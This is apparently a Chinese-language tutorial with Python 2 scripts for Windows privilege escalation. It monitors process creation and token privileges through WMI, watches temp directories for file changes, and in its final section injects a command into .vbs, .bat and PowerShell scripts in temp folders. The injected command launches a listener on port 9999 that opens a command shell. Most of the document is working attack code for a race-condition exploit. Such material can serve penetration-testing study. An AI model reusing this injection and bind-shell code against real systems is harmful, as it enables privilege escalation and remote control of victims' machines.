利用WMI监视进程
#coding=utf-8 import win32con import win32api import win32security import wmi import sys import os def log_to_file(message): fd = open("process_monitor_log.csv","ab") fd.write("%s "%message) fd.close() return #创建一个日志文件的头 log_to_file("Time,User,Executable,CommandLine,PID,Parent PID,Privileges") #初始化WMI接口 c= wmi.WMI() #创建进程监控器 process_watcher = c.Win32_Process.watch_for("creation") while True: try: new_process = process_watcher() proc_owner = new_process.GetOwner() proc_owner = "%s\%s"%(proc_owner[0],proc_owner[2]) create_data = new_process.CreationDate executable = new_process.ExecutablePath cmdline = new_process.CommandLine pid = new_process.ProcessId parent_pid = new_process.ParentProcessId privileges = "N/A" process_log_message = "%s,%s,%s,%s,%s,%s,%s "%(create_data,proc_owner,executable,cmdline,pid,parent_pid,privileges) print process_log_message log_to_file(process_log_message) except: pass
Windows系统的令牌权限
Windows系统的令牌是指：“一个包含进程或线程上下文安全信息的对象”。
1、SeBackupPrivilege：使得用户进程可以备份文件和目录，读取任何文件而无须关注它的访问控制列表（ACL）。
2、SeDebugPrivilege：使得用户进程可以调试其他进程，当然包括获取进程句柄以便将DLL或者代码插入到运行的进程中去。
3、SeLoadDriver：使得用户进程可以加载或者卸载驱动。
#coding=utf-8 import win32con import win32api import win32security import wmi import sys import os def get_process_privileges(pid): try: #获取目标进程的句柄 hproc = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION,False,pid) #打开主进程的令牌 htok = win32security.OpenProcessToken(hproc,win32con.TOKEN_QUERY) #解析已启用权限的列表 privs = win32security.GetTokenInformation(htok,win32security.TokenPrivileges) #迭代每个权限并输出其中已经启用的 priv_list = "" for i in privs: #检测权限是否已经启用 if i[1] == 3: priv_list += "%s|" % win32security.LookupPrivilegeName(None,i[0]) except Exception as e: priv_list = "N/A" return priv_list def log_to_file(message): fd = open("process_monitor_log.csv","ab") fd.write("%s "%message) fd.close() return #创建一个日志文件的头 log_to_file("Time,User,Executable,CommandLine,PID,Parent PID,Privileges") #初始化WMI接口 c= wmi.WMI() #创建进程监控器 process_watcher = c.Win32_Process.watch_for("creation") while True: try: new_process = process_watcher() proc_owner = new_process.GetOwner() proc_owner = "%s\%s"%(proc_owner[0],proc_owner[2]) create_data = new_process.CreationDate executable = new_process.ExecutablePath cmdline = new_process.CommandLine pid = new_process.ProcessId parent_pid = new_process.ParentProcessId privileges = get_process_privileges(pid) process_log_message = "%s,%s,%s,%s,%s,%s,%s "%(create_data,proc_owner,executable,cmdline,pid,parent_pid,privileges) print process_log_message log_to_file(process_log_message) except: pass
赢得竞争
有些软件会把文件复制到一个临时目录下，等执行完之后就删除它。为了在这种条件下要进行权限漏洞的利用，必须在和目标程序执行脚本的竞争中占先。
当软件或计划任务创建文件的时候，必须能够在进程执行和删除文件之前插入代码。这里可以使用ReadDirectoryChangesW()函数来实现，可以让我们监控一个目录中的任何文件或者子目录的变化。
#coding=utf-8 import tempfile import threading import win32file import win32con import os #这些是典型的临时文件所在的路径 dirs_to_monitor = ["C:\Windows\Temp",tempfile.gettempdir()] #文件修改行为对应的常量 FILE_CREATED = 1 FILE_DELETED = 2 FILE_MODIFIED = 3 FILE_RENAMED_FROM = 4 FILE_RENAMED_TO = 5 def start_monitor(path_to_watch): #为每个监控器起一个线程 FILE_LIST_DIRECTORY = 0x0001 h_directory = win32file.CreateFile( path_to_watch, FILE_LIST_DIRECTORY, win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE, None, win32con.OPEN_EXISTING, win32con.FILE_FLAG_BACKUP_SEMANTICS, None) while 1: try: results = win32file.ReadDirectoryChangesW( h_directory, 1024, True, win32con.FILE_NOTIFY_CHANGE_FILE_NAME | win32con.FILE_NOTIFY_CHANGE_DIR_NAME | win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES | win32con.FILE_NOTIFY_CHANGE_SIZE | win32con.FILE_NOTIFY_CHANGE_LAST_WRITE | win32con.FILE_NOTIFY_CHANGE_SECURITY, None, None ) for action,file_name in results: full_filename = os.path.join(path_to_watch,file_name) if action == FILE_CREATED: print "[+] Created %s"%full_filename elif action == FILE_DELETED: print "[+] Deleted %s"%full_filename elif action == FILE_MODIFIED: print "[+] Modified %s"%full_filename #输出文件内容 print "[vvv] Dumping contents..." try: fd = open(full_filename,"rb") contents = fd.read() fd.close() print contents print "[^^^] Dump complete." except: print "[!!!] Failed." elif action == FILE_RENAMED_FROM: print "[>] Renamed from: %s"%full_filename elif action == FILE_RENAMED_TO: print "[>] Renamed to: %s"%full_filename else: print "[???] Unknown: %s"%full_filename except: pass for path in dirs_to_monitor: monitor_thread = threading.Thread(target=start_monitor,args=(path,)) print "Spawning monitoring thread for path: %s"%path monitor_thread.start()
代码插入
#coding=utf-8 import tempfile import threading import win32file import win32con import os #这些是典型的临时文件所在的路径 dirs_to_monitor = ["C:\Windows\Temp",tempfile.gettempdir()] #文件修改行为对应的常量 FILE_CREATED = 1 FILE_DELETED = 2 FILE_MODIFIED = 3 FILE_RENAMED_FROM = 4 FILE_RENAMED_TO = 5 file_types = {} command = "C:\Windows\Temp\bhpnet.exe -l -p 9999 -c" file_types['.vbs'] = [" 'bhpmarker "," CreateObject("Wscript.Shell").Run("%s") "%command] file_types['.bat'] = [" REM bhpmarker "," %s "%command] file_types['.psl'] = [" #bhpmarker","Start-Process "%s" "%command] #用于执行代码插入的函数 def inject_code(full_filename,extension,contents): #判断文件是否存在标记 if file_types[extension][0] in contents: return #如果没有标记的话，那么插入代码并标记 full_contents = file_types[extension][0] full_contents += file_types[extension][1] full_contents += contents fd = open(full_filename,"wb") fd.write(full_contents) fd.close() print "[o/] Injected code." return def start_monitor(path_to_watch): #为每个监控器起一个线程 FILE_LIST_DIRECTORY = 0x0001 h_directory = win32file.CreateFile( path_to_watch, FILE_LIST_DIRECTORY, win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE, None, win32con.OPEN_EXISTING, win32con.FILE_FLAG_BACKUP_SEMANTICS, None) while 1: try: results = win32file.ReadDirectoryChangesW( h_directory, 1024, True, win32con.FILE_NOTIFY_CHANGE_FILE_NAME | win32con.FILE_NOTIFY_CHANGE_DIR_NAME | win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES | win32con.FILE_NOTIFY_CHANGE_SIZE | win32con.FILE_NOTIFY_CHANGE_LAST_WRITE | win32con.FILE_NOTIFY_CHANGE_SECURITY, None, None ) for action,file_name in results: full_filename = os.path.join(path_to_watch,file_name) if action == FILE_CREATED: print "[+] Created %s"%full_filename elif action == FILE_DELETED: print "[+] Deleted %s"%full_filename elif action == FILE_MODIFIED: print "[+] Modified %s"%full_filename #输出文件内容 print "[vvv] Dumping contents..." try: fd = open(full_filename,"rb") contents = fd.read() fd.close() print contents print "[^^^] Dump complete." except: print "[!!!] Failed." filename,extension = os.path.splitext(full_filename) if extension in file_types: inject_code(full_filename,extension,contents) elif action == FILE_RENAMED_FROM: print "[>] Renamed from: %s"%full_filename elif action == FILE_RENAMED_TO: print "[>] Renamed to: %s"%full_filename else: print "[???] Unknown: %s"%full_filename except: pass for path in dirs_to_monitor: monitor_thread = threading.Thread(target=start_monitor,args=(path,)) print "Spawning monitoring thread for path: %s"%path monitor_thread.start()